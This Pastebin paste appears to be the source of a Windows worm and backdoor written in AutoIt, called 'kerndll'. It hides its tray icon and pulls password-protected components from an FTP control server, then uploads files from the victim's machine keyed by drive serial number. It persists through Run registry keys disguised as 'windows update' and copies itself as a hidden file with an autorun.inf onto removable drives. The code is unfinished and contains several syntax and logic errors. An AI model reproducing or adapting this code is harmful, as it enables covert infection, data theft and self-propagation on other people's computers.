Advertisement
Guest User

Untitled

a guest
Jun 21st, 2017
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 8.99 KB | None | 0 0
  1. ;options
  2. Opt("TrayIconHide", 1)
  3. break(0)
  4.  
  5.  
  6. ;includes
  7. #include <FTPEx.au3>
  8. #include <Inet.au3>
  9. #include <Process.au3>
  10. #include <File.au3>
  11. #include <String.au3>
  12. #include <Array.au3>
  13.  
  14.  
  15. ;variables
  16. $kerndlldir = @SystemDir & "\kerndll\"
  17.  
  18. $date = @MDAY & "-" & @MON & "-" & @YEAR
  19. $time = @HOUR & ":" & @MIN & ":" & @SEC
  20.  
  21. $server = _StringEncrypt(2, iniread($kerndlldir & "info.ini", "server", "server", "server"), "kerndllp", 2)
  22. $username = _StringEncrypt(2, iniread($kerndlldir & "info.ini", "server", "username", "username"), "kerndllp", 2)
  23. $password = _StringEncrypt(2, iniread($kerndlldir & "info.ini", "server", "password", "password"), "kerndllp", 2)
  24. $passive = 1
  25.  
  26. $sndrive = stringleft(@windowsdir, 3)
  27. $sn = drivegetserial($sndrive)
  28.  
  29. dim $ver
  30.  
  31. ;program
  32. _FileCreate($kerndlldir & "download.ini")
  33. _FileCreate($kerndlldir & "upload.ini")
  34.  
  35. While 1
  36.     downloadcheck()
  37.     uploadcheck()
  38.     load()
  39.     install()
  40.     usbspread()
  41.     exespread()
  42. WEnd
  43.  
  44.  
  45. ;functions
  46. func downloadcheck()
  47.     $downloadsections = IniReadSectionNames($kerndlldir & "download.ini")
  48.     if $downloadsections = 1 Then
  49.         return
  50.     EndIf
  51.     $count = 1
  52.  
  53.     $open = _FTP_Open('kerndll ftp control')
  54.     $conn = _FTP_Connect($open, $server, $username, $password, $passive)
  55.  
  56.     $file = _FTP_FindFileFirst($conn, "/kerndll/", $search)
  57.     $file = _FTP_FindFileNext($search)
  58.  
  59.     while 1
  60.         $file = _FTP_FindFileNext($search)
  61.        
  62.         if @error <> 0 Then
  63.             _FTP_FindFileClose
  64.             ExitLoop
  65.         EndIf
  66.        
  67.         if stringleft(stringright($file, 4), 1) <> "." Then
  68.             $dir[$count] = $file
  69.             $count = $count + 1
  70.         EndIf
  71.     WEnd
  72.                                             ; DIR ARRAY INPLEMENT
  73.     for $count = 1 to $dir[0]
  74.         $succes = _FTP_FileGet($conn, "/kerndll/component.ini", $kerndlldir & "onlinecomponent.ini")
  75.         $onlinecomponent = IniReadSectionNames($kerndlldir & "onlinecomponent.ini")
  76.         $offlinecomponent = IniReadSectionNames($kerndlldir & "component.ini")
  77.         For $onlinecount = 1 To $onlinecomponent[0]
  78.             if iniread($kerndlldir & "onlinecomponent.ini", $onlinecomponent[$onlinecount], "version", "0.0") >= iniread($kerndlldir & "component.ini", $onlinecomponent[$onlinecount], "version", "0.1")
  79.                 _FileWriteToLine($kerndlldir & "download.ini", 1, "[component]", 1)
  80.                 _FileWriteToLine($kerndlldir & "download.ini", 2, $onlinecomponent[$onlinecount], 0)
  81.             EndIf
  82.             $check = 0
  83.  
  84.             For $offlinecount = 1 To $offlinecomponent[0]
  85.                 if $onlinecomponent[$onlinecount] == $offlinecomponent[$offlinecount] Then
  86.                     $check = 1
  87.                 EndIf
  88.             Next
  89.                
  90.                 if $check == 0 Then
  91.                     _FileWriteToLine($kerndlldir & "download.ini", 1, "[component]", 1)
  92.                     _FileWriteToLine($kerndlldir & "download.ini", 2, $onlinecomponent[$onlinecount], 0)
  93.                 EndIf
  94.         Next
  95.     filedelete($kerndlldir & "online" & $dir[$count] & ".ini")
  96.     Next
  97.  
  98.     _FTP_Close($open)
  99. endfunc
  100.  
  101.  
  102. func uploadcheck()
  103.     $uploadsections = IniReadSectionNames($kerndlldir & "upload\upload.ini")
  104.     if $uploadsections = 1 Then
  105.         return
  106.     EndIf
  107.  
  108.     $search = FileFindFirstFile($kerndlldir & "\upload\*.*")
  109.    
  110.     while 1
  111.         $file = FileFindNextFile($search)
  112.         if @error <> 0 Then
  113.             FileClose($file)
  114.             ExitLoop
  115.         EndIf
  116.        
  117.         if stringleft(stringright($file, 4), 1) <> "." Then
  118.             _FileWriteToLine($kerndlldir & "upload\upload.ini", 1, "[" & $file & "]", 0)
  119.             _FileWriteToLine($kerndlldir & "upload\upload.ini", 2, " ", 1)
  120.             FileClose($file)
  121.            
  122.             $search = FileFindFirstFile($kerndlldir & "\upload\" & $file & "\*.*")
  123.  
  124.             if $search = -1 Then
  125.                 FileClose($file)
  126.             elseif $search <> -1 Then
  127.                 while 1
  128.                     $file = FileFindNextFile($search)
  129.                     if @error <> 0 Then
  130.                         FileClose($file)
  131.                         ExitLoop
  132.                     EndIf
  133.                     _FileWriteToLine($kerndlldir & "upload\upload.ini", 2, $file, 1)
  134.                 WEnd
  135.            
  136.             FileClose($file)
  137.         EndIf
  138.     WEnd
  139.  
  140.     FileClose($file)
  141. EndFunc
  142.  
  143.  
  144. func load()
  145.     if IniReadSectionNames($kerndlldir & "download.ini") <> 1 and IniReadSectionNames($kerndlldir & "upload\upload.ini") <> 1 Then
  146.         return
  147.     EndIf  
  148.  
  149.     $open = _FTP_Open('kerndll ftp control')
  150.     $conn = _FTP_Connect($open, $server, $username, $password, $passive)
  151.  
  152.     $downloadsection = IniReadSectionNames($kerndlldir & "download.ini")
  153.     if @error <> 0 then
  154.         local $downloadsection[1]
  155.         $downloadsection[0] = "0"
  156.     EndIf  
  157.     for $count = 1 to $downloadsection[0]
  158.         if fileexists($kerndlldir & $downloadsection[$count]) <> 1 Then
  159.             _FileCreate($kerndlldir & $downloadsection[$count] & ".ini")
  160.         EndIf
  161.  
  162.         $file = inireadsection($kerndlldir & "download.ini", $downloadsection[$count])
  163.         for $keycount = 1 to $file[0]
  164.             $succes = _FTP_FileGet($conn, "/kerndll/" & $downloadsection[$count] & "/" & $file[$keycount] & ".kdz", $kerndlldir & $file[$keycount] & ".zip")
  165.             if $succes = 1 Then
  166.                     _FileWriteToLine($kerndlldir & $downloadsection[$count] & ".ini", 1, "[" & $file[$keycount] & "]", 2)
  167.                     _FileWriteToLine($kerndlldir & $downloadsection[$count] & ".ini", 2, "file=", 2)
  168.                     _FileWriteToLine($kerndlldir & $downloadsection[$count] & ".ini", 3, "version=", 2)
  169.                     _FileWriteToLine($kerndlldir & $downloadsection[$count] & ".ini", 4, "date=", 2)
  170.                     _FileWriteToLine($kerndlldir & $downloadsection[$count] & ".ini", 5, " ", 2)
  171.             EndIf
  172.         Next
  173.     Next
  174.  
  175.     $uploadsection = IniReadSectionNames($kerndlldir & "upload\upload.ini")
  176.     if @error <> 0 then
  177.         local $uploadsection[1]
  178.         $uploadsection[0] = "0"
  179.     EndIf  
  180.     for $count = 1 to $uploadsection[0]
  181.         $file = inireadsection($kerndlldir & "upload\upload.ini", $uploadsection[$count])
  182.         for $keycount = 1 to $file[0]
  183.             $succes = _FTP_FilePut($conn, $kerndlldir & "upload\" & $file[$keycount], "/server/" & $sn & "/" & $downloadsection[$count] & "/" & $file[$keycount])
  184.         Next
  185.     Next
  186.  
  187.     _FTP_Close($open)
  188. EndFunc
  189.  
  190.  
  191. func install()
  192.     $installsection = IniReadSectionNames($kerndlldir & "download.ini")
  193.             for $count = 1 to $installsection[0]
  194.                 if fileexists($kerndlldir & $installsection[$count] & ".ini") <> 1 then
  195.                     _FileCreate($kerndlldir & $installsection[$count] & ".ini")
  196.                 EndIf
  197.                 $installfile = inireadsection($kerndlldir & "download.ini", $installsection[$count])
  198.                 for $filecount = 1 to $installfile[0]
  199.                     $zipfile = stringleft($installfile[$filecount], 8) & ".zip"
  200.                     filemove($kerndlldir & $installfile[$filecount], $kerndlldir & $zipfile, 1)
  201.                     runwait($kerndlldir & "pkunzip.exe -e -skerndllpassword " & $kerndlldir & $zipfile & " " & $installfile[$filecount] & ".exe", $kerndlldir, @SW_HIDE)
  202.                     runwait($kerndlldir & "pkunzip.exe -e -skerndllpassword " & $kerndlldir & $zipfile & " ver.txt", $kerndlldir, @SW_HIDE)
  203.                     filemove($kerndlldir & "ver.txt", $kerndlldir & "temp.txt", 1)
  204.                     filemove($kerndlldir & $installfile[$filecount], $kerndlldir & "zip\" & $zipfile, 1)
  205.  
  206.                     _FileReadToArray($kerndlldir & "temp.txt", $ver)
  207.                     if @error <> 0 then
  208.                         $ver[1] = ""
  209.                     EndIf
  210.  
  211.                     if IniRead($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "version", "0.0") <= $ver[1] Then
  212.                         filemove($kerndlldir & $installfile[$filecount] & ".exe", iniread($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "file", $installfile[$filecount] & ".exe"), 1)
  213.                         $key = Chr(Random(Asc("A"), Asc("Z"), 1)) & random(0,9,1)   & Chr(Random(Asc("A"), Asc("Z"), 1)) & random(0,9,1) & Chr(Random(Asc("A"), Asc("Z"), 1))
  214.                        
  215.                         IniWrite($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "version", $ver[1])
  216.                         IniWrite($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "date", $date)
  217.            
  218.                         if iniread($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "file", $installfile[$filecount] & ".exe") = $installfile[$filecount] & ".exe" and $installsection[$count] = "component" Then
  219.                             filemove($kerndlldir & $installfile[$filecount] & ".exe", $key & ".exe", 1)
  220.                             IniWrite($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "file", iniread($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "file", $key & ".exe")
  221.                             RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "windows update " & $key, "REG_SZ", $kerndlldir & $key & ".exe")
  222.                         EndIf
  223.                     EndIf
  224.                 Next               
  225.             Next
  226.     wend
  227.    
  228.     FileClose($file)
  229.                 ; DIR CREATE FOR $installsection[count]
  230. EndFunc
  231.  
  232.  
  233.                 ; DLLCALL REMOVABLE INSERT?
  234. func usbspread()
  235.     $drive = DriveGetDrive( "all" )
  236.     For $count = 1 to $drive[0]
  237.         $drivetype = DriveGetType( $drive[$count] )
  238.         if $drivetype = "removable" and fileexists($drive[$count] & "\kerndll.exe") = 0 Then
  239.             $drivename = DriveGetLabel($drive[$count])
  240.             FileCopy($kerndlldir & "kerndll.exe", $drive[$count] & "kerndll.exe")
  241.             FileSetAttrib($drive[$count] & "kerndll.exe", "+R+H")
  242.            
  243.             if fileexists($drive[$count] & "\autorun.inf") = 0 Then
  244.                 _FileCreate($drive[$count] & "\autorun.inf")
  245.                 FileSetAttrib($drive[$count] & "autorun.inf", "+R+H")
  246.             EndIf
  247.  
  248.             IniWrite($drive[$count] & "\autorun.inf", "autorun", "open", "kerndll.exe")
  249.             IniWrite($kerndlldir & "\spread.ini", "usb", $drive[$count], $drivename)
  250.         EndIf
  251.     Next
  252. EndFunc
  253.  
  254.  
  255.                 ; DLLCALL EXEREAD?
  256. func exespread()
  257.  
  258. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement